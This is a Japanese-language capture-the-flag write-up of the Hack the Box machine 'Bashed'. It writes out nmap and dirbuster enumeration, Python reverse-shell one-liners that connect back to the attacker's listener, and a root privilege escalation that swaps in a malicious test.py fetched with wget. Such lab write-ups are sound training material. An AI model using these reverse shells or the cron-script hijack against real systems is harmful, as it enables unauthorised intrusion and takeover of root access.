【Hack the Box write-up】Bashed

March 15, 2020

はじめに

筆者は Hack the Box 初心者です。 何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET

machine について

難易度は easy です。

nmap

kali@kali:~$ nmap -p- -sC -sV 10.10.10.68
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-14 20:53 EDT
Nmap scan report for 10.10.10.68
Host is up (0.17s latency).
Not shown: 65505 closed ports, 29 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4542.47 seconds

80 番ポートを開いてみる

スクリーンショット 2020-03-15 16.37.49.png スクリーンショット 2020-03-15 16.38.01.png

phpbash について説明した記事が出てきます。

dirbuster

スクリーンショット 2020-03-15 16.38.56.png /devphpbash.php が見つかります。

phpbash.phpを開く

スクリーンショット 2020-03-15 16.40.23.png このようなターミナルのような画面が現れます。

スクリーンショット 2020-03-15 16.42.36.png

user.txt が取れました。

とりま sudo -l する

スクリーンショット 2020-03-15 16.43.48.png

scriptmanager という user に切り替えられることがわかります。

リバースシェルをとる

なぜか phpbash で scriptmanager の bash に切り替えられなかったので(← 詰まったポイント 1)phpbash から一旦普通のリバースシェルに切り替えます。

ホスト側で以下のように待ち構えて

$ nc -lvnp 4242

PayloadsAllTheThingsに乗っている python のコードをそのまま拝借して使用します。 IPv4 ではなぜか失敗します(← 詰まったポイント 2 他の writeup をみてみると IPv4 じゃなくて IPv6 なら成功するよってことで IPv6 を使用すると、

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

以下のようにリバースシェルが取れました。

kali@kali:~$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.68] 39742
/bin/sh: 0: can't access tty; job control turned off
$

そしてリバースシェルの方で scriptmanager に切り替えようとしてみると

$ sudo -u scriptmanager bash
whoami
scriptmanager

成功しました。

ディレクトリ探索

scriptmanager という名前なので script などの名前のついたファイルを中心に探してみると、ルートディレクトリに /script が存在し、案の定 scriptmanager が所有していることになっています。

cd /
ls -la
total 88
drwxr-xr-x  23 root          root           4096 Dec  4  2017 .
drwxr-xr-x  23 root          root           4096 Dec  4  2017 ..
drwxr-xr-x   2 root          root           4096 Dec  4  2017 bin
drwxr-xr-x   3 root          root           4096 Dec  4  2017 boot
drwxr-xr-x  19 root          root           4240 Mar 14 17:55 dev
drwxr-xr-x  89 root          root           4096 Dec  4  2017 etc
drwxr-xr-x   4 root          root           4096 Dec  4  2017 home
lrwxrwxrwx   1 root          root             32 Dec  4  2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  19 root          root           4096 Dec  4  2017 lib
drwxr-xr-x   2 root          root           4096 Dec  4  2017 lib64
drwx------   2 root          root          16384 Dec  4  2017 lost+found
drwxr-xr-x   4 root          root           4096 Dec  4  2017 media
drwxr-xr-x   2 root          root           4096 Feb 15  2017 mnt
drwxr-xr-x   2 root          root           4096 Dec  4  2017 opt
dr-xr-xr-x 124 root          root              0 Mar 14 17:55 proc
drwx------   3 root          root           4096 Dec  4  2017 root
drwxr-xr-x  18 root          root            500 Mar 14 17:55 run
drwxr-xr-x   2 root          root           4096 Dec  4  2017 sbin
drwxrwxr--   2 scriptmanager scriptmanager  4096 Dec  4  2017 scripts
drwxr-xr-x   2 root          root           4096 Feb 15  2017 srv
dr-xr-xr-x  13 root          root              0 Mar 15 00:33 sys
drwxrwxrwt  10 root          root           4096 Mar 15 00:55 tmp
drwxr-xr-x  10 root          root           4096 Dec  4  2017 usr
drwxr-xr-x  12 root          root           4096 Dec  4  2017 var
lrwxrwxrwx   1 root          root             29 Dec  4  2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic

中をみてみます。

ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Mar 15 00:56 test.txt

scriptmanager の所有する test.py 、root が所有する test.txt が存在します。 中を覗くと

cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

cat test.txt
testing 123!

となっています。

ここでもここからどうすれば??という感じだったのですが、注目すべきは test.txt更新時間でした。

このファイルだけ明らかに最近更新されており、ls -laでみるたびに更新されています。

  • 頻繁に更新されていることから自動で test.py が実行されるようになっていると予想される
  • test.txtは root の所有なので test.py の実行は root が行なっていると考えられる
  • そして test.py は scriptmanager の所有なので編集できる

ここまで言えば何をすればいいか明確ですね(← 自分では分からなくてwriteupみた人)

test.py を編集する

正確には編集したものをホストから持ってきます。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

見にくいですね。これは先ほどのPayloadsAllTheThingsに乗っている python の IPv6 のコードをそのまま持ってきたものです(IP アドレスとかは変えてます)

ホスト側で SimpleHTTPServer を使って machine 側で取得します。

kali@kali:~$ python -m SimpleHTTPServer
rm test.py
wget http://10.10.14.3:8000/test.py
--2020-03-15 01:09:23--  http://10.10.14.3:8000/test.py
Connecting to 10.10.14.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 215 [text/plain]
Saving to: 'test.py'

     0K                                                       100% 24.3M=0s

2020-03-15 01:09:24 (24.3 MB/s) - 'test.py' saved [215/215]

これで既存の test.py を先ほど編集した test.py に切り替えられました。 ホスト側で root のリバースシェルを待ち受けます

kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...

自動で test.py が実行されるようになっていると予想される

なのでしばらく待ってみると

connect to [10.10.14.3] from (UNKNOWN) [10.10.10.68] 37178
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

root が取れました!

終わりに

今回は ls -la で所有者の違いと更新日時から root が定期的に test.py を実行しているということを見破るという部分が自分では見破れませんでした… 精進します。。

このエントリーをはてなブックマークに追加